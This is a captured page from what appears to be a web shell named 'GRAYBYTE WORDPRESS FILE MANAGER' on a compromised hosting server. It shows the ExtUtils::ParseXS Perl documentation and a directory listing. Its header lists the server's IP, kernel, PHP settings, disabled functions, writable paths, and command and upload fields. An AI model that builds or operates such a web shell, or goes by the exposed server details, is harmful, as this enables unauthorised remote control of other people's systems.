GRAYBYTE WORDPRESS FILE MANAGER1305

Server IP : 198.54.121.189 / Your IP : 216.73.216.140
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /usr/share/perl5/vendor_perl/ExtUtils/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /usr/share/perl5/vendor_perl/ExtUtils//ParseXS.pod
=head1 NAME

ExtUtils::ParseXS - converts Perl XS code into C code

=head1 SYNOPSIS

  use ExtUtils::ParseXS;

  my $pxs = ExtUtils::ParseXS->new;
  $pxs->process_file( filename => 'foo.xs' );

  $pxs->process_file( filename => 'foo.xs',
                      output => 'bar.c',
                      'C++' => 1,
                      typemap => 'path/to/typemap',
                      hiertype => 1,
                      except => 1,
                      versioncheck => 1,
                      linenumbers => 1,
                      optimize => 1,
                      prototypes => 1,
                    );

  # Legacy non-OO interface using a singleton:
  use ExtUtils::ParseXS qw(process_file);
  process_file( filename => 'foo.xs' );

=head1 DESCRIPTION

C<ExtUtils::ParseXS> will compile XS code into C code by embedding the constructs
necessary to let C functions manipulate Perl values and creates the glue
necessary to let Perl access those functions.  The compiler uses typemaps to
determine how to map C function parameters and variables to Perl values.

The compiler will search for typemap files called I<typemap>.  It will use
the following search path to find default typemaps, with the rightmost
typemap taking precedence.

    ../../../typemap:../../typemap:../typemap:typemap

=head1 EXPORT

None by default.  C<process_file()> and/or C<report_error_count()>
may be exported upon request. Using the functional interface is
discouraged.

=head1 METHODS

=over 4

=item $pxs->new()

Returns a new, empty XS parser/compiler object.

=item $pxs->process_file()

This method processes an XS file and sends output to a C file.
The method may be called as a function (this is the legacy
interface) and will then use a singleton as invocant.

Named parameters control how the processing is done.
The following parameters are accepted:

=over 4

=item B<C++>

Adds C<extern "C"> to the C code.  Default is false.

=item B<hiertype>

Retains C<::> in type names so that C++ hierarchical types can be
mapped.  Default is false.

=item B<except>

Adds exception handling stubs to the C code.  Default is false.

=item B<typemap>

Indicates that a user-supplied typemap should take precedence over the
default typemaps.  A single typemap may be specified as a string, or
multiple typemaps can be specified in an array reference, with the
last typemap having the highest precedence.

=item B<prototypes>

Generates prototype code for all xsubs.  Default is false.

=item B<versioncheck>

Makes sure at run time that the object file (derived from the C<.xs>
file) and the C<.pm> files have the same version number.  Default is
true.

=item B<linenumbers>

Adds C<#line> directives to the C output so error messages will look
like they came from the original XS file.  Default is true.

=item B<optimize>

Enables certain optimizations.  The only optimization that is currently
affected is the use of I<target>s by the output C code (see L<perlguts>).
Not optimizing may significantly slow down the generated code, but this is the way
B<xsubpp> of 5.005 and earlier operated.  Default is to optimize.

=item B<inout>

Enable recognition of C<IN>, C<OUT_LIST> and C<INOUT_LIST>
declarations.  Default is true.

=item B<argtypes>

Enable recognition of ANSI-like descriptions of function signature.
Default is true.

=item B<s>

I<Maintainer note:> I have no clue what this does.  Strips function prefixes?

=back

=item $pxs->report_error_count()

This method returns the number of [a certain kind of] errors
encountered during processing of the XS file.

The method may be called as a function (this is the legacy
interface) and will then use a singleton as invocant.

=back

=head1 AUTHOR

Based on xsubpp code, written by Larry Wall.

Maintained by:

=over 4

=item *

Ken Williams, <ken@mathforum.org>

=item *

David Golden, <dagolden@cpan.org>

=item *

James Keenan, <jkeenan@cpan.org>

=item *

Steffen Mueller, <smueller@cpan.org>

=back

=head1 COPYRIGHT

Copyright 2002-2014 by Ken Williams, David Golden and other contributors.  All
rights reserved.

This library is free software; you can redistribute it and/or
modify it under the same terms as Perl itself.

Based on the C<ExtUtils::xsubpp> code by Larry Wall and the Perl 5
Porters, which was released under the same license terms.

=head1 SEE ALSO

L<perl>, ExtUtils::xsubpp, ExtUtils::MakeMaker, L<perlxs>, L<perlxstut>.

=cut



[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
June 04 2025 01:48:16
root / root
0755
CBuilder
--
March 03 2024 19:12:34
root / root
0755
Command
--
March 03 2024 19:12:34
root / root
0755
Liblist
--
March 03 2024 19:12:34
root / root
0755
MM
--
March 03 2024 19:11:22
root / root
0755
MakeMaker
--
March 03 2024 19:12:34
root / root
0755
ParseXS
--
March 03 2024 19:11:20
root / root
0755
Typemaps
--
March 03 2024 19:11:20
root / root
0755
CBuilder.pm
8.672 KB
November 22 2017 16:20:35
root / root
0644
Command.pm
7.619 KB
March 19 2018 10:21:53
root / root
0644
Install.pm
40.059 KB
May 28 2017 10:51:53
root / root
0644
Installed.pm
14.026 KB
May 28 2017 10:51:43
root / root
0644
Liblist.pm
9.515 KB
October 13 2019 08:55:21
root / root
0644
MANIFEST.SKIP
0.948 KB
December 31 2014 19:02:48
root / root
0644
MM.pm
2.088 KB
March 19 2018 10:21:54
root / root
0644
MM_AIX.pm
1.37 KB
March 19 2018 10:21:54
root / root
0644
MM_Any.pm
80.813 KB
March 19 2018 10:21:54
root / root
0644
MM_BeOS.pm
1.02 KB
March 19 2018 10:21:54
root / root
0644
MM_Cygwin.pm
3.989 KB
March 19 2018 10:21:54
root / root
0644
MM_DOS.pm
1.027 KB
March 19 2018 10:21:53
root / root
0644
MM_Darwin.pm
0.914 KB
March 19 2018 10:21:54
root / root
0644
MM_MacOS.pm
0.871 KB
March 19 2018 10:21:54
root / root
0644
MM_NW5.pm
5.338 KB
March 19 2018 10:21:54
root / root
0644
MM_OS2.pm
3.142 KB
March 19 2018 10:21:54
root / root
0644
MM_QNX.pm
0.873 KB
March 19 2018 10:21:54
root / root
0644
MM_UWIN.pm
0.958 KB
March 19 2018 10:21:54
root / root
0644
MM_Unix.pm
108.468 KB
October 13 2019 08:55:21
root / root
0644
MM_VMS.pm
66.52 KB
March 19 2018 10:21:54
root / root
0644
MM_VOS.pm
0.731 KB
March 19 2018 10:21:53
root / root
0644
MM_Win32.pm
14.064 KB
March 19 2018 10:21:54
root / root
0644
MM_Win95.pm
1.251 KB
March 19 2018 10:21:53
root / root
0644
MY.pm
0.662 KB
March 19 2018 10:21:54
root / root
0644
MakeMaker.pm
107.939 KB
October 13 2019 08:55:21
root / root
0644
Manifest.pm
22.89 KB
December 31 2014 19:02:48
root / root
0644
Mkbootstrap.pm
3.229 KB
March 19 2018 10:21:53
root / root
0644
Mksymlists.pm
10.744 KB
March 19 2018 10:21:54
root / root
0644
Packlist.pm
8.364 KB
May 28 2017 10:51:43
root / root
0644
ParseXS.pm
65.012 KB
July 31 2017 15:46:04
root / root
0644
ParseXS.pod
4.303 KB
July 31 2017 15:46:04
root / root
0644
Typemaps.pm
26.167 KB
July 31 2017 15:46:04
root / root
0644
testlib.pm
0.895 KB
March 19 2018 10:21:54
root / root
0644
xsubpp
4.961 KB
October 13 2019 08:58:35
root / root
0755

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF